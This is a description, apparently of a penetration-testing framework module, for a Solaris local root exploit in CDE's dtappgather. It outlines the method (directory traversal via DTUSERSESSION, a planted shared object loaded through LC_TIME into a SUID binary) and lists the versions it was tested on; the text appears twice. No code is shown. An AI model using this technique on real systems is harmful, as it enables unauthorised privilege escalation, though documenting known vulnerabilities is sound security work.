This module exploits a directory traversal vulnerability in the dtappgather
executable included with Common Desktop Environment (CDE) on unpatched Solaris systems prior to Solaris 10u11 which allows users to gain root privileges. dtappgather allows users to create a user-owned directory at any location on the filesystem using the DTUSERSESSION
environment variable. This module creates a directory in /usr/lib/locale
, writes a shared object to the directory, and runs the specified SUID binary with the shared object loaded using the LC_TIME
environment variable. This module has been tested successfully on: Solaris 9u7 (09/04) (x86); Solaris 10u1 (01/06) (x86); Solaris 10u2 (06/06) (x86); Solaris 10u4 (08/07) (x86); Solaris 10u8 (10/09) (x86); Solaris 10u9 (09/10) (x86).

This module exploits a directory traversal vulnerability in the
`dtappgather` executable included with Common Desktop Environment (CDE)
on unpatched Solaris systems prior to Solaris 10u11 which allows users
to gain root privileges.
dtappgather allows users to create a user-owned directory at any
location on the filesystem using the `DTUSERSESSION` environment
variable.
This module creates a directory in `/usr/lib/locale`, writes a shared
object to the directory, and runs the specified SUID binary with the
shared object loaded using the `LC_TIME` environment variable.
This module has been tested successfully on:
Solaris 9u7 (09/04) (x86);
Solaris 10u1 (01/06) (x86);
Solaris 10u2 (06/06) (x86);
Solaris 10u4 (08/07) (x86);
Solaris 10u8 (10/09) (x86);
Solaris 10u9 (09/10) (x86).
